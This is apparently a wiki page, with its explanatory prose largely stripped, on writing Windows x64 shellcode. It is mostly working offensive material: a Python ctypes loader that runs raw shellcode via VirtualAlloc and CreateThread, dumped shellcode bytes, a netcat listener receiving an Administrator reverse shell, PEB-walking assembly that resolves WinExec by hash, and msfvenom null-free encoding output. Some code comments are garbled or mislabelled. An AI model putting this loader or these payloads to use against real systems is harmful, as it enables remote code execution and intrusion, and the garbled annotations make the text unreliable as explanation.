ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

```

Shellcode 0x00 **25** Msfvenom

```

(root@kali)-[~/Desktop]
# python3 x64.py
Payload size: 478 bytes
buf = b"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d"
buf += b"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01"
buf += b"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01"
buf += b"\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31"
buf += b"\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45"
buf += b"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b"
buf += b"\x04\x8b\x4c\x01\xc8\xc3\xc3\x4c\x89\xcd\x41\xb8\x8e\x4e\x0e\xec\xe8\x8f\xff\xff"
buf += b"\xff\x49\x89\xc4\x48\x31\xc0\x66\xb8\x6c\x6c\x50\x48\xb8\x57\x53\x32\x5f\x33\x32"
buf += b"\x2e\x64\x50\x48\x89\xe1\x48\x83\xec\x20\x4c\x89\xe0\xff\xd0\x48\x83\xc4\x20\x49"
buf += b"\x89\xc6\x49\x89\xc1\x41\xb8\xcb\xed\xfc\x3b\x4c\x89\xcb\xe8\x55\xff\xff\xff\x48"
buf += b"\x31\xc9\x66\xb9\x98\x01\x48\x29\xc0\x48\x8d\x14\x24\x66\xb9\x02\x02\x48\x83\xec"
buf += b"\x30\xff\xd0\x48\x83\xc4\x30\x49\x89\xd9\x41\xb8\xd9\x09\xf5\xad\xe8\x2b\xff\xff"
buf += b"\xff\x48\x83\xec\x30\x48\x31\xc9\xb1\x02\x48\x31\xd2\xb2\x01\x4d\x31\xc0\x41\xb0"
buf += b"\x06\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd0\x49\x89\xc4\x48"
buf += b"\x83\xc4\x30\x49\x89\xd9\x41\xb8\x0c\xba\x2d\xb3\xe8\xf3\xfe\xff\xff\x48\x83\xec"
buf += b"\x20\x4c\x89\xe1\x48\x31\xd2\xb2\x02\x48\x89\x14\x24\x48\x31\xd2\x66\xba\x01\xbb"
buf += b"\x48\x89\x54\x24\x02\xba\x40\x57\xff\xd2\xf7\xda\x48\x89\x54\x24\x04\x48\x8d\x14"
buf += b"\x24\x4d\x31\xc0\x41\xb0\x16\x4d\x31\xc9\x48\x83\xec\x38\x4c\x89\x4c\x24\x20\x4c"
buf += b"\x89\x4c\x24\x28\x4c\x89\x4c\x24\x30\xff\xd0\x48\x83\xc4\x38\x49\x89\xe9\x41\xb8"
buf += b"\x72\xfe\xb3\x16\xe8\x97\xfe\xff\xff\x48\xba\x9c\x92\x9b\xd1\x9a\x87\x9a\xff\x48"
buf += b"\xf7\xd2\x52\x48\x89\xe2\x41\x54\x41\x54\x41\x54\x48\x31\xc9\x66\x51\x51\x51\xb1"
buf += b"\xff\x66\xff\xc1\x66\x51\x48\x31\xc9\x66\x51\x66\x51\x51\x51\x51\x51\x51\xb1"
buf += b"\x68\x51\x48\x89\xe7\x48\x89\xe1\x48\x83\xe9\x20\x51\x57\x48\x31\xc9\x51\x51\x51"
buf += b"\x48\xff\xc1\x51\xfe\xc9\x51\x51\x51\x51\x49\x89\xc8\x49\x89\xc9\xff\xd0"

```

```

(root@kali)-[~/Desktop]
# python3 x64.py | grep x00

```

```

(root@kali)-[~/Desktop]
# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.0.45] from (UNKNOWN) [192.168.0.37] 7227
Microsoft Windows [Version 10.0.22621.1992]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Administrator>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\Administrator>

```

WinExec **CreateProcessA** **CreateProcessA** **Shellcode** **WinExec**

```

UINT WinExec(
    [in] LPCSTR lpCmdLine,
    [in] UINT    uCmdShow
);

```

lpCmdLine **"calc.exe\0"** **uCmdShow** 1 **Shellcode** **ws2_32.dll** **W**

```

"call_winexec:"
"    mov r8d, 0xe8afe98;"      # WinExec
"    call parse_module;"      # WinExec
"    xor rcx, rcx;"
"    push rcx;"
"    mov rcx, 0x6578652e636c6163;" # exe.clac
"    push rcx;"
"    lea rcx, [rsp];"
"    xor rdx, rdx;"
"    inc rdx;"
"    sub rsp, 0x28;"
"    call rax;"      # WSASStartup

```

```

import ctypes, struct
from keystone import *

CODE = (

"find_kernel32:"
"    xor rdx, rdx;"
"    mov rax, gs:[rdx+0x60];"      # RAX TEB ProcessEnvironmentBlock      PEB
"    mov rsi,[rax+0x18];"        # PEB  LDR      _PEB_LDR_DATA
"    mov rsi,[rsi + 0x20];"      # RSI _PEB_LDR_DATA  InMemoryOrderModuleList
"    mov r9, [rsi];"           #    python.exe
"    mov r9, [r9];"            #    ntdll.dll
"    mov r9, [r9+0x20];"       #    kernel32.dll
"    jmp call_winexec;"

"parse_module:"      #      DLL
"    mov ecx, dword ptr [r9 + 0x3c];"      # R9      NT
"    xor r15, r15;"
"    mov r15b, 0x88;"
"    add r15, r9;"
"    add r15, rcx;"
"    mov r15d, dword ptr [r15];"          #      RVA
"    add r15, r9;"      # R14      VMA
"    mov ecx, dword ptr [r15 + 0x18];"      # ecx
"    mov r14d, dword ptr [r15 + 0x20];"      #  ENPT RVA
"    add r14, r9;"      # R14  ENPT VMA

"search_function:"      #
"    jrcxz not_found;"      #  RCX 0
"    dec ecx;"      #    1
"    xor rsi, rsi;"
"    mov esi, [r14 + rcx*4];"      #      RVA
"    add rsi, r9;"      # RSI

"function_hashing:"      #
"    xor rax, rax;"
"    xor rdx, rdx;"
"    cld;"      #  DF

```

```

"iteration:"      #
"  lodsb;"        # RSI      Al
"  test al, al;"   #
"  jz compare_hash;"      #
"  ror edx, 0x0d;"      #
"  add edx, eax;"      #
"  jmp iteration;"      #

"compare_hash:"    #
"  cmp edx, r8d;"
"  jnz search_function;"      #      (      )
"  mov r10d, [r15 + 0x24];"      #      RVA
"  add r10, r9;"      #      VMA
"  movzx ecx, word ptr [r10 + 2*rcx];"      #      -1
"  mov r11d, [r15 + 0x1c];"      # EAT RVA
"  add r11, r9;"      # EAT VNA
"  mov eax, [r11 + 4*rcx];"      # RAX      RVA
"  add rax, r9;"      # RAX      VMA
"  ret;"

"not_found:"
"  ret;"

"call_winexec:"
"  mov r8d, 0xe8afe98;"      # WinExec
"  call parse_module;"      #      WinExec
"  xor rcx, rcx;"
"  push rcx;"
"  mov rcx, 0x6578652e636c6163;" # exe.clac
"  push rcx;"
"  lea rcx, [rsp];"
"  xor rdx, rdx;"
"  inc rdx;"
"  sub rsp, 0x28;"
"  call rax;"      # WSASStartup

)

```

```

ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                           ctypes.c_int(len(shellcode)),
                                           ctypes.c_int(0x3000),
                                           ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                      buf,
                                      ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                           ctypes.c_int(0),
                                           ctypes.c_uint64(ptr),
                                           ctypes.c_int(0),
                                           ctypes.c_int(0),
                                           ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

```

Shellcode 0x00

```
(root@kali)-[~/Desktop]
# python3 x64.py
Payload size: 169 bytes
buf = b"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d"
buf += b"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01"
buf += b"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01"
buf += b"\xce\xe3\x3f\xff\x09\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\x00\x48\x31"
buf += b"\xd2\xfc\xac\x84\x00\x74\x07\x01\xca\x0d\x01\x02\xeb\xff\x44\x39\x02\x75\xda\x45"
buf += b"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b"
buf += b"\x04\x8b\x4c\x01\x08\x03\x03\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31"
buf += b"\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2"
buf += b"\x48\xff\x02\x48\x83\xec\x28\xff\xd0"
```

MSF 0x00 Shellcode

```
(root@kali)-[~/Desktop]
# msfvenom -p windows/x64/exec cmd=calc.exe -f python -v shellcode -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=7, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 319 (iteration=0)
x64/xor chosen with final size 319
Payload size: 319 bytes
Final size of python file: 1786 bytes
shellcode = b""
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xdd\xff\xff\xff\x48"
shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\xf6\xbb\x74"
shellcode += b"\x14\xa4\xfa\xeb\x21\x48\x31\x58\x27\x48\x2d"
shellcode += b"\xf8\xff\xff\xff\xe2\xf4\x0a\xf3\xf7\xf0\x54"
shellcode += b"\x12\x2b\x21\xf6\xbb\x35\x45\xe5\xaa\xb9\x70"
shellcode += b"\xa0\xf3\x45\xc6\xc1\xb2\x60\x73\x96\xf3\xff"
shellcode += b"\x46\xbc\xb2\x60\x73\xd6\xf3\xff\x66\xf4\xb2"
shellcode += b"\xe4\x96\xbc\xf1\x39\x25\x6d\xb2\xda\xe1\x5a"
shellcode += b"\x87\x15\x68\xa6\xd6\xcb\x60\x37\x72\x79\x55"
shellcode += b"\xa5\x3b\x09\xcc\xa4\xfa\x25\x5c\x2f\xa8\xcb"
shellcode += b"\xaa\xb4\x87\x3c\x15\x74\x71\x6b\xa9\xf6\xbb"
shellcode += b"\x74\x5c\x21\x3a\x9f\x46\xbe\xba\xa4\x44\x2f"
shellcode += b"\xb2\xf3\x65\x7d\xfb\x54\x5d\xa5\x2a\x08\x77"
shellcode += b"\xbe\x44\xbd\x55\x2f\xce\x63\x69\xf7\x6d\x39"
shellcode += b"\x25\x6d\xb2\xda\xe1\x5a\xfa\xb5\xdd\xa9\xbb"
shellcode += b"\xea\xe0\xce\x5b\x01\xe5\xe8\xf9\xa7\x05\xfe"
shellcode += b"\xfe\x4d\xc5\xd1\x22\xb3\x65\x7d\xfb\x50\x5d"
shellcode += b"\xa5\x2a\x8d\x60\x7d\xb7\x3c\x50\x2f\xba\xf7"
shellcode += b"\x68\xf7\x6b\x35\x9f\xa0\x72\xa3\x20\x26\xfa"
shellcode += b"\x2c\x55\xfc\xa4\xb2\x7b\xb7\xe3\x35\x4d\xe5"
shellcode += b"\xa0\xa3\xa2\x1a\x9b\x35\x46\x5b\x1a\xb3\x60"
shellcode += b"\xaf\xe1\x3c\x9f\xb6\x13\xbc\xde\x09\x44\x29"
shellcode += b"\x5c\x1e\xfb\xeb\x21\xf6\xbb\x74\x14\xa4\xb2"
shellcode += b"\x66\xac\xf7\xba\x74\x14\xe5\x40\xda\xaa\x99"
shellcode += b"\x3c\x8b\xc1\x1f\x0a\x5e\x83\xa0\xfa\xce\xb2"
shellcode += b"\x31\x47\x76\xde\x23\xf3\xf7\xd0\x8c\xc6\xed"
shellcode += b"\x5d\xfc\x3b\x8f\xf4\xd1\xff\x50\x66\xe5\xc9"
shellcode += b"\x1b\x7e\xa4\xa3\xaa\xa8\x2c\x44\xa1\x77\xc5"
shellcode += b"\x96\x88\x0f\x93\xc3\x11\x14\xa4\xfa\xeb\x21"
```

exploit-db Shellcode

Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes)

CVE: N/A	Author: BOKU	Type: SHELLCODE	Platform: WINDOWS_X86-64	Date: 2021-05-03
×	Exploit: 📄 / {}		Vulnerable App:	

Revision #29
Created 10 July 2023 00:09:51 by unknown
Updated 24 March 2024 15:17:26 by unknown